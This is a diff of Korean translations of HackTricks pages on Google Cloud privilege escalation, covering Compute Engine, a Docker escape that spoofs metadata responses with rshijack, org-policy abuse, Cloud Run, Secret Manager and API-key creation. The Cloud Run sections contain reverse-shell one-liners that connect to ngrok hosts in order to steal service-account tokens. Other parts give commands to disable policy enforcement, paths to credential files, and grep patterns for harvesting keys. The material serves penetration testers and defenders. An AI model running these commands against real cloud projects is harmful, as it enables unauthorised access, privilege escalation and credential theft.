이 시나리오에서는 Compute Engine 프로젝트의 VM 내부에서 비권한 계정(non privilege account)을 **침해한 상태**라고 가정합니다.
|
||||
|
||||
놀랍게도, 당신이 침해한 Compute Engine의 GPC 권한은 **기계 내에서 로컬 권한을 상승시키는 데 도움을 줄 수 있습니다**. 클라우드 환경에서는 항상 유용하지 않을 수 있지만, 가능하다는 것을 아는 것은 좋습니다.
|
||||
놀랍게도, 침해한 Compute Engine의 GPC 권한은 머신 내부에서 **로컬 권한 상승(escalate privileges locally inside a machine)** 에 도움을 줄 수 있습니다. 클라우드 환경에서는 항상 유용하지 않을 수 있지만, 가능하다는 것을 아는 것이 중요합니다.
|
||||
|
||||
## 스크립트 읽기 <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
## Read the scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
|
||||
**Compute Instances**는 아마도 **서비스 계정으로 작업을 수행하기 위해 스크립트를 실행하기 위해 존재할 것입니다**.
|
||||
**Compute Instances**는 종종 서비스 계정으로 작업을 수행하기 위해 **스크립트를 실행**하도록 설정되어 있습니다.
|
||||
|
||||
IAM이 세분화되어 있기 때문에, 계정은 리소스에 대해 **읽기/쓰기** 권한을 가질 수 있지만 **목록 권한은 없을 수 있습니다**.
|
||||
IAM이 점점 더 세분화되면서, 어떤 계정은 리소스에 대해 **읽기/쓰기(read/write)** 권한은 있지만 **목록(list)** 권한은 없을 수 있습니다.
|
||||
|
||||
이의 훌륭한 가상 예는 `instance82736-long-term-xyz-archive-0332893`라는 스토리지 버킷에 백업을 읽고 쓸 수 있는 권한이 있는 Compute Instance입니다.
|
||||
좋은 가상의 예로, `instance82736-long-term-xyz-archive-0332893`라는 storage bucket에 백업을 읽고 쓸 수 있는 권한이 있는 Compute Instance가 있습니다.
|
||||
|
||||
명령줄에서 `gsutil ls`를 실행하면 서비스 계정이 `storage.buckets.list` IAM 권한이 부족하여 아무것도 반환하지 않습니다. 그러나 `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`를 실행하면 로컬 Linux 계정이 접근할 수 없는 데이터에 대한 평문 접근을 제공하는 전체 파일 시스템 백업을 찾을 수 있습니다.
|
||||
커맨드라인에서 `gsutil ls`를 실행하면 아무 것도 반환하지 않을 수 있습니다. 서비스 계정에 `storage.buckets.list` IAM 권한이 없기 때문입니다. 그러나 `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`를 실행하면 전체 파일시스템 백업을 찾을 수 있고, 로컬 Linux 계정에 없는 평문 데이터에 접근할 수 있게 됩니다.
|
||||
|
||||
이 버킷 이름은 스크립트(예: bash, Python, Ruby 등) 내에서 찾을 수 있습니다.
|
||||
이 버킷 이름은 스크립트(bash, Python, Ruby...) 내부에서 발견될 수 있습니다.
|
||||
|
||||
## 사용자 정의 메타데이터
|
||||
## Custom Metadata
|
||||
|
||||
관리자는 **인스턴스** 및 **프로젝트 수준**에서 [사용자 정의 메타데이터](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom)를 추가할 수 있습니다. 이는 **임의의 키/값 쌍을 인스턴스로 전달하는 방법**이며, 환경 변수 및 시작/종료 스크립트에 일반적으로 사용됩니다.
|
||||
관리자는 인스턴스 수준과 프로젝트 수준에서 [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom)를 추가할 수 있습니다. 이는 인스턴스로 임의의 key/value 쌍을 전달하는 방법으로, 환경 변수나 startup/shutdown 스크립트에 자주 사용됩니다.
|
||||
|
||||
또한, **사용자 데이터**를 추가할 수 있으며, 이는 기계가 시작되거나 재시작될 때마다 **실행되는 스크립트**로, 메타데이터 엔드포인트에서도 **접근할 수 있습니다**.
|
||||
또한 userdata를 추가할 수 있는데, 이는 머신이 시작되거나 재시작될 때 **매번 실행되는 스크립트**이며 메타데이터 엔드포인트에서 **접근할 수 있습니다.**
|
||||
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
## **IAM 권한 남용**
|
||||
## **Abusing IAM permissions**
|
||||
|
||||
다음에 제안된 대부분의 권한은 **기본 Compute SA에 부여됩니다.** 유일한 문제는 **기본 액세스 범위가 SA가 이를 사용하는 것을 방지한다는 것입니다**. 그러나 **`cloud-platform`** **범위**가 활성화되거나 **`compute`** **범위**만 활성화되면, 이를 **남용할 수 있습니다**.
|
||||
다음에 제시된 권한들 대부분은 **default Compute SA**에 부여되는 경우가 많습니다. 유일한 문제는 **default access scope**가 SA가 해당 권한을 사용하는 것을 제한할 수 있다는 점입니다. 하지만 **`cloud-platform`** 스코프가 활성화되어 있거나 단지 **`compute`** 스코프만 활성화되어 있어도, 이러한 권한을 **악용할 수 있습니다.**
|
||||
|
||||
다음 권한을 확인하세요:
|
||||
다음 권한들을 확인하세요:
|
||||
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
|
||||
@@ -42,20 +42,26 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata)
|
||||
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy)
|
||||
|
||||
## 파일 시스템에서 키 검색
|
||||
## Search for Keys in the filesystem
|
||||
|
||||
다른 사용자가 박스 내에서 gcloud에 로그인하고 파일 시스템에 자격 증명을 남겼는지 확인하세요:
|
||||
박스 내에서 다른 사용자가 gcloud로 로그인하고 자격 증명을 파일시스템에 남겼는지 확인하세요:
|
||||
|
||||
<details><summary>파일 시스템에서 gcloud 자격 증명 검색</summary>
|
||||
```
|
||||
sudo find / -name "gcloud"
|
||||
```
|
||||
이것들은 가장 흥미로운 파일들입니다:
|
||||
</details>
|
||||
|
||||
가장 흥미로운 파일들:
|
||||
|
||||
- `~/.config/gcloud/credentials.db`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
|
||||
- `~/.credentials.json`
|
||||
|
||||
### 더 많은 API 키 정규 표현식
|
||||
### 추가 API Keys regexes
|
||||
|
||||
<details><summary>Grep patterns for GCP credentials and keys</summary>
|
||||
```bash
|
||||
TARGET_DIR="/path/to/whatever"
|
||||
|
||||
@@ -87,7 +93,9 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
|
||||
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
|
||||
"$TARGET_DIR"
|
||||
```
|
||||
## References
|
||||
</details>
|
||||
|
||||
## 참고 자료
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
|
||||
@@ -1,46 +1,61 @@
|
||||
# GCP - Network Docker Escape
|
||||
# GCP - 네트워크 Docker Escape
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Initial State
|
||||
## 초기 상태
|
||||
|
||||
이 기술이 명시된 두 개의 보고서에서 공격자들은 **GCP**에서 관리하는 **Docker** 컨테이너 내에서 **root** 접근 권한을 얻었으며, 호스트 네트워크에 접근할 수 있었습니다 (그리고 **`CAP_NET_ADMIN`** 및 **`CAP_NET_RAW`** 권한을 가졌습니다).
|
||||
이 기법이 명시된 두 개의 writeup 모두에서, 공격자는 GCP가 관리하는 **Docker** 컨테이너 내부에서 호스트 네트워크에 접근할 수 있는 상태에서 **root** 권한(및 권한 **`CAP_NET_ADMIN`** 및 **`CAP_NET_RAW`**)을 획득했습니다.
|
||||
|
||||
## Attack Explanation
|
||||
## 공격 설명
|
||||
|
||||
Google Compute Engine 인스턴스에서 네트워크 트래픽을 정기적으로 검사하면 **메타데이터 인스턴스**인 `169.254.169.254`에 대한 수많은 **일반 HTTP 요청**이 드러납니다. [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent)는 이러한 요청을 자주 수행하는 오픈 소스 서비스입니다.
|
||||
Google Compute Engine 인스턴스에서 네트워크 트래픽을 정기적으로 검사하면 `169.254.169.254`에 위치한 **metadata instance**로 향하는 수많은 **plain HTTP requests**가 보입니다. 오픈소스 서비스인 [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent)가 이러한 요청을 자주 보냅니다.
|
||||
|
||||
이 에이전트는 **메타데이터의 변경 사항을 모니터링**하도록 설계되었습니다. 특히, 메타데이터에는 **SSH 공개 키 필드**가 포함되어 있습니다. 새로운 공개 SSH 키가 메타데이터에 추가되면, 에이전트는 자동으로 `.authorized_key` 파일에서 이를 **승인**합니다. 필요할 경우 **새 사용자**를 **sudoers**에 추가할 수도 있습니다.
|
||||
이 에이전트는 **metadata 변경을 모니터링**하도록 설계되었습니다. 특히, metadata에는 **SSH public keys를 위한 필드**가 포함되어 있습니다. 새로운 공개 SSH 키가 metadata에 추가되면, 에이전트는 이를 자동으로 `.authorized_key` 파일에 **권한 부여(authorize)** 합니다. 필요하면 **새 사용자 생성** 및 **sudoers**에 추가할 수도 있습니다.
|
||||
|
||||
에이전트는 **모든 메타데이터 값을 재귀적으로 검색**하기 위해 요청을 보내어 변경 사항을 모니터링합니다 (`GET /computeMetadata/v1/?recursive=true`). 이 요청은 마지막 검색 이후 메타데이터에 변경 사항이 있을 경우에만 메타데이터 서버가 응답하도록 유도합니다. 이는 Etag로 식별됩니다 (`wait_for_change=true&last_etag=`). 또한 **타임아웃** 매개변수 (`timeout_sec=`)가 포함됩니다. 지정된 타임아웃 내에 변경이 발생하지 않으면 서버는 **변경되지 않은 값**으로 응답합니다.
|
||||
에이전트는 **모든 metadata 값을 재귀적으로 가져오는 요청**(`GET /computeMetadata/v1/?recursive=true`)을 보내 변경을 모니터링합니다. 이 요청은 마지막으로 가져온 이후 metadata에 변경이 있을 때에만 메타데이터 서버가 응답하도록 설계되어 있으며, 변경 식별에는 Etag(`wait_for_change=true&last_etag=`)가 사용됩니다. 또한 **timeout** 파라미터(`timeout_sec=`)가 포함되어 있어, 지정된 timeout 내에 변경이 없으면 서버는 **변경 없는 값**을 반환합니다.
|
||||
|
||||
이 프로세스는 **IMDS** (Instance Metadata Service)가 구성 변경이 발생하지 않은 경우 **60초** 후에 응답할 수 있도록 하여, 게스트 에이전트에 가짜 구성 응답을 주입할 수 있는 잠재적인 **창을 생성**합니다.
|
||||
이 과정 때문에 **IMDS**(Instance Metadata Service)는 구성 변경이 없을 경우 **60초** 후에 응답할 수 있으며, 이로 인해 guest agent에게 전달될 가짜 구성 응답을 주입할 수 있는 잠재적인 **타임 윈도우**가 생깁니다.
|
||||
|
||||
공격자는 이를 이용하여 **Man-in-the-Middle (MitM) 공격**을 수행하고, IMDS 서버의 응답을 스푸핑하여 **새 공개 키를 삽입**할 수 있습니다. 이는 호스트에 대한 무단 SSH 접근을 가능하게 할 수 있습니다.
|
||||
공격자는 이를 이용해 **Man-in-the-Middle (MitM) attack**을 수행하여 IMDS 서버의 응답을 스푸핑하고 **새 공개 키를 삽입**할 수 있습니다. 이렇게 되면 호스트에 대한 무단 SSH 접근이 가능해질 수 있습니다.
|
||||
|
||||
### Escape Technique
|
||||
### 탈출 기법
|
||||
|
||||
ARP 스푸핑은 Google Compute Engine 네트워크에서 효과적이지 않지만, [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) 이 개발한 [**수정된 rshijack 버전**](https://github.com/ezequielpereira/rshijack)을 사용하여 패킷 주입을 통해 SSH 사용자를 주입할 수 있습니다.
|
||||
Google Compute Engine 네트워크에서는 ARP spoofing이 효과적이지 않지만, [**rshijack**의 수정된 버전](https://github.com/ezequielpereira/rshijack) (작성자: [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html))을 사용하면 통신에 패킷 주입(packet injection)을 수행해 SSH 사용자를 주입할 수 있습니다.
|
||||
|
||||
이 rshijack 버전은 ACK 및 SEQ 번호를 명령줄 인수로 입력할 수 있어, 실제 메타데이터 서버 응답 전에 응답을 스푸핑할 수 있습니다. 또한, [**작은 Shell 스크립트**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh)가 사용되어 **특별히 제작된 페이로드**를 반환합니다. 이 페이로드는 Google Guest Agent가 `.authorized_keys` 파일에 지정된 공개 키로 **사용자 `wouter`**를 **생성**하도록 유도합니다.
|
||||
이 rshijack 수정본은 ACK 및 SEQ 번호를 커맨드라인 인수로 입력할 수 있게 하여 실제 Metadata 서버 응답보다 먼저 응답을 스푸핑하는 것을 용이하게 합니다. 또한 [**작은 Shell 스크립트**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh)가 특수 제작된 페이로드를 반환하도록 사용됩니다. 이 페이로드는 Google Guest Agent가 `.authorized_keys` 파일에 지정된 공개 키로 **사용자 `wouter`를 생성**하도록 트리거합니다.
|
||||
|
||||
스크립트는 같은 ETag를 사용하여 메타데이터 서버가 Google Guest Agent에 다른 메타데이터 값에 대해 즉시 알리지 않도록 하여 응답을 지연시킵니다.
|
||||
스크립트는 동일한 ETag를 사용해 Metadata 서버가 즉시 Google Guest Agent에 다른 metadata 값을 알리지 못하게 하여 응답을 지연시킵니다.
|
||||
|
||||
스푸핑을 실행하기 위해서는 다음 단계가 필요합니다:
|
||||
스푸핑을 실행하려면 다음 단계가 필요합니다:
|
||||
|
||||
1. **tcpdump**를 사용하여 메타데이터 서버에 대한 요청을 모니터링합니다:
|
||||
1. **Metadata 서버로의 요청 모니터링**을 **tcpdump**로 수행:
|
||||
|
||||
<details>
|
||||
<summary>tcpdump로 메타데이터 서버 요청 모니터링</summary>
|
||||
```bash
|
||||
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
|
||||
```
|
||||
해당 문장을 찾으세요:
|
||||
</details>
|
||||
|
||||
다음과 유사한 줄을 찾으세요:
|
||||
|
||||
<details>
|
||||
<summary>tcpdump 출력 예시 줄</summary>
|
||||
```
|
||||
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
|
||||
```
|
||||
2. 올바른 ETAG와 함께 가짜 메타데이터를 rshijack에 전송합니다:
|
||||
</details>
|
||||
|
||||
2. 올바른 ETAG로 fake metadata 데이터를 rshijack에 전송합니다:
|
||||
|
||||
<details>
|
||||
<summary>fake metadata를 전송하고 host에 SSH로 접속</summary>
|
||||
```bash
|
||||
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
|
||||
```
|
||||
이 단계는 공개 키를 인증하여 해당 개인 키로 SSH 연결을 가능하게 합니다.
|
||||
</details>
|
||||
|
||||
이 단계는 공개 키를 허가하여 해당 개인 키로 SSH 연결을 가능하게 합니다.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -6,7 +6,10 @@
|
||||
|
||||
### `orgpolicy.policy.set`
|
||||
|
||||
공격자는 **orgpolicy.policy.set** 권한을 이용해 조직 정책을 조작할 수 있으며, 이를 통해 특정 작업을 방해하는 제약을 제거할 수 있습니다. 예를 들어, 제약 조건 **appengine.disableCodeDownload**는 일반적으로 App Engine의 소스 코드 다운로드를 차단합니다. 그러나 **orgpolicy.policy.set**을 사용하면 공격자는 이 제약을 비활성화하여 애초에 보호되어 있던 소스 코드를 다운로드할 수 있게 됩니다.
|
||||
**orgpolicy.policy.set** 권한을 악용하는 공격자는 조직 정책을 조작할 수 있어 특정 작업을 방해하는 제한을 제거할 수 있습니다. 예를 들어, 제약조건 **appengine.disableCodeDownload** 는 일반적으로 App Engine 소스 코드의 다운로드를 차단합니다. 그러나 **orgpolicy.policy.set** 를 사용하면 공격자는 이 제약을 비활성화하여 원래 보호되어 있던 소스 코드를 다운로드할 수 있습니다.
|
||||
|
||||
<details>
|
||||
<summary>org policy 정보 조회 및 강제 적용 비활성화</summary>
|
||||
```bash
|
||||
# Get info
|
||||
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
|
||||
# Disable
|
||||
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
```
|
||||
</details>
|
||||
|
||||
A python script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
|
||||
|
||||
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
|
||||
|
||||
일반적으로 다른 프로젝트의 서비스 계정을 리소스에 연결하는 것은 불가능합니다. 이는 해당 동작을 방지하는 **`iam.disableCrossProjectServiceAccountUsage`** 라는 정책 제약이 적용되어 있기 때문입니다.
|
||||
보통 다른 프로젝트의 service account를 리소스에 연결하는 것은 불가능합니다. 이는 **`iam.disableCrossProjectServiceAccountUsage`** 라는 정책 제약이 적용되어 이러한 동작을 차단하기 때문입니다.
|
||||
|
||||
다음 명령을 실행하여 이 제약이 적용되어 있는지 확인할 수 있습니다:
|
||||
|
||||
<details>
|
||||
<summary>Verify cross-project service account constraint</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies describe \
|
||||
constraints/iam.disableCrossProjectServiceAccountUsage \
|
||||
@@ -31,14 +39,21 @@ booleanPolicy:
|
||||
enforced: true
|
||||
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
|
||||
```
|
||||
이는 공격자가 추가적인 인프라 권한(예: 새 VM을 시작할 권한) 없이 다른 프로젝트의 서비스 계정으로 가장하기 위해 권한 **`iam.serviceAccounts.actAs`**를 악용하는 것을 방지하며, 그렇지 않으면 권한 상승으로 이어질 수 있습니다.
|
||||
</details>
|
||||
|
||||
그러나 권한 **`orgpolicy.policy.set`**를 가진 공격자는 제약 조건 **`iam.disableServiceAccountProjectWideAccess`**를 비활성화하여 이 제한을 우회할 수 있습니다. 이렇게 하면 공격자는 다른 프로젝트의 서비스 계정을 자신의 프로젝트 내 리소스에 연결할 수 있어 실질적으로 권한을 상승시킬 수 있습니다.
|
||||
이 설정은 공격자가 **`iam.serviceAccounts.actAs`** 권한을 남용해 다른 프로젝트의 서비스 계정을 가장하고, 예를 들어 새로운 VM을 시작하는 데 필요한 추가 인프라 권한 없이 권한 상승을 일으키는 것을 방지한다.
|
||||
|
||||
하지만 **`orgpolicy.policy.set`** 권한을 가진 공격자는 **`iam.disableServiceAccountProjectWideAccess`** 제약을 비활성화하여 이 제한을 우회할 수 있다. 이렇게 하면 공격자는 다른 프로젝트의 서비스 계정을 자신의 프로젝트 내 리소스에 연결하여 실질적으로 권한을 상승시킬 수 있다.
|
||||
|
||||
<details>
|
||||
<summary>프로젝트 간 서비스 계정 제약 비활성화</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies disable-enforce \
|
||||
iam.disableCrossProjectServiceAccountUsage \
|
||||
--project=<project-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
@@ -12,15 +12,18 @@ Cloud Run에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
이 권한을 가진 공격자는 **임의의 코드를 실행하는 런 서비스를 생성**하고, 서비스 계정을 연결하며, 코드를 통해 **메타데이터에서 서비스 계정 토큰을 유출**할 수 있습니다.
|
||||
이 권한들을 가진 공격자는 **임의의 코드를 실행하는 run 서비스를 생성**(임의의 Docker 컨테이너), Service Account를 연결하고 코드가 **메타데이터에서 Service Account 토큰을 유출**하도록 만들 수 있습니다.
|
||||
|
||||
이 방법에 대한 익스플로잇 스크립트는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py)에서 찾을 수 있으며, Docker 이미지는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage)에서 찾을 수 있습니다.
|
||||
이 방법의 익스플로잇 스크립트는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py)에서 찾을 수 있으며 Docker 이미지는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage)에서 찾을 수 있습니다.
|
||||
|
||||
`gcloud run deploy`를 사용할 때는 서비스를 단순히 생성하는 대신 **`update` 권한이 필요**하다는 점에 유의하세요. [**예제는 여기**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh)에서 확인할 수 있습니다.
|
||||
단, 서비스를 단순 생성하는 대신 `gcloud run deploy`를 사용할 경우 **`update` 권한이 필요합니다**. [**예시 확인**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
이전과 유사하지만 서비스를 업데이트하는 경우:
|
||||
이전 방법과 동일하지만 서비스를 업데이트하는 방식입니다:
|
||||
|
||||
<details>
|
||||
<summary>Deploy Cloud Run service with reverse shell</summary>
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Cloud Run에 대한 이전 권한을 부여합니다.
|
||||
cloud Run에 대한 이전 권한을 자신에게 부여합니다.
|
||||
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
명령어에 지정된 서비스 계정을 훔치기 위해 리버스 셸로 작업을 시작합니다. [**여기에서 익스플로잇을 찾을 수 있습니다**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
명령에 지정된 service account를 탈취하기 위해 reverse shell이 포함된 job을 실행합니다. 다음에서 [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)를 확인할 수 있습니다.
|
||||
|
||||
<details>
|
||||
<summary>reverse shell을 사용하는 Cloud Run job 생성</summary>
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
이전과 유사하게 **작업을 업데이트하고 SA를 업데이트**할 수 있으며, **명령을 실행**할 수 있습니다:
|
||||
이전 경우와 마찬가지로 **job을 업데이트하고 SA를 변경**한 다음, **명령을 설정**하고 이를 실행할 수 있습니다:
|
||||
|
||||
<details>
|
||||
<summary>Update Cloud Run job and execute with reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -64,17 +77,24 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Cloud Jobs에 대한 이전 권한을 부여합니다.
|
||||
Cloud Jobs에 대해 앞서 언급한 권한을 자신에게 부여하세요.
|
||||
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
작업 실행의 env 변수를 악용하여 임의의 코드를 실행하고 컨테이너의 내용을 덤프하기 위해 리버스 셸을 얻고 메타데이터 내의 SA에 접근합니다:
|
||||
job 실행의 env variables를 악용하여 임의 코드를 실행하고 reverse shell을 얻어 container의 내용(source code)을 덤프하고 metadata 안의 SA에 접근합니다:
|
||||
|
||||
<details>
|
||||
<summary>Cloud Run job을 environment variable exploitation으로 실행</summary>
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
## 참고문헌
|
||||
</details>
|
||||
|
||||
## 참고 자료
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -12,12 +12,16 @@ secretmanager에 대한 자세한 정보:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
이것은 비밀 관리자에서 비밀을 읽을 수 있는 접근 권한을 제공합니다. 이 정보가 비밀 안에 저장된 정보에 따라 권한 상승에 도움이 될 수 있습니다:
|
||||
이 권한은 secret manager에서 secrets를 읽을 수 있는 접근 권한을 제공합니다. (secret 안에 어떤 정보가 저장되어 있는지에 따라 privielegs를 상승시키는 데 도움이 될 수 있습니다):
|
||||
|
||||
<details><summary>평문 secret 버전 가져오기</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
이것은 또한 포스트 익스플로이테이션 기술이므로 다음에서 찾을 수 있습니다:
|
||||
</details>
|
||||
|
||||
이는 또한 post exploitation technique이므로 다음에서 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
@@ -25,10 +29,14 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
이것은 비밀 관리자에서 비밀을 읽을 수 있는 액세스를 제공합니다. 예를 들어:
|
||||
이 권한은 secret manager에서 비밀을 읽을 수 있는 접근 권한을 제공합니다. 예:
|
||||
|
||||
<details><summary>비밀에 IAM 정책 바인딩 추가</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,11 +4,11 @@
|
||||
|
||||
## serviceusage
|
||||
|
||||
다음 권한은 API 키를 생성하고 훔치는 데 유용합니다. 문서에서 다음과 같이 설명합니다: _API 키는 **주체 없이 애플리케이션을 식별하는 간단한 암호화된 문자열**입니다. 이는 **공개 데이터에 익명으로 접근**하는 데 유용하며, **쿼터** 및 **청구**를 위해 API 요청을 프로젝트와 **연관**시키는 데 사용됩니다._
|
||||
다음 권한들은 API keys를 생성하고 탈취하는 데 유용합니다. 문서에서는 다음과 같이 설명합니다: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
따라서 API 키를 사용하면 해당 회사가 API 사용에 대한 비용을 지불하게 할 수 있지만, 권한 상승은 할 수 없습니다.
|
||||
따라서 API key로 회사가 API 사용 요금을 대신 부담하게 만들 수는 있지만, 권한 상승은 할 수 없습니다.
|
||||
|
||||
다른 권한 및 API 키 생성 방법을 배우려면 확인하세요:
|
||||
다른 권한들과 API keys 생성 방법을 알아보려면 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
gcp-apikeys-privesc.md
|
||||
@@ -16,21 +16,29 @@ gcp-apikeys-privesc.md
|
||||
|
||||
### `serviceusage.apiKeys.create`
|
||||
|
||||
문서화되지 않은 API가 발견되어 **API 키를 생성하는 데** 사용할 수 있습니다:
|
||||
문서화되지 않은 API가 발견되었으며, 이를 사용해 **API keys를 생성**할 수 있습니다:
|
||||
|
||||
<details><summary>문서화되지 않은 API로 API key 생성</summary>
|
||||
```bash
|
||||
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `serviceusage.apiKeys.list`
|
||||
|
||||
이미 생성된 API 키를 나열하기 위한 문서화되지 않은 또 다른 API가 발견되었습니다(응답에 API 키가 나타납니다):
|
||||
이미 생성된 API keys를 나열하기 위한 또 다른 문서화되지 않은 API가 발견되었습니다(응답에 API keys가 표시됩니다):
|
||||
|
||||
<details><summary>문서화되지 않은 API로 API keys 나열</summary>
|
||||
```bash
|
||||
